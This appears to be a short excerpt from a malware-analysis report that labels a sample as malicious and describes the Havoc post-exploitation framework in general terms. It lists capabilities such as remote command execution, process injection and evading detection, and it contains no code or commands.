| Verdict: | Malicious activity |
| Threats: | Havoc is an advanced post-exploitation framework used by hackers to take control of a system once they've breached it. With Havoc, attackers can run commands remotely, inject malicious processes, and access sensitive data. It's often used in targeted attacks, allowing cybercriminals to stay hidden in a network while stealing information or launching further attacks. Its flexibility and ability to bypass detection make it a serious threat, especially in environments that rely on traditional security tools. |
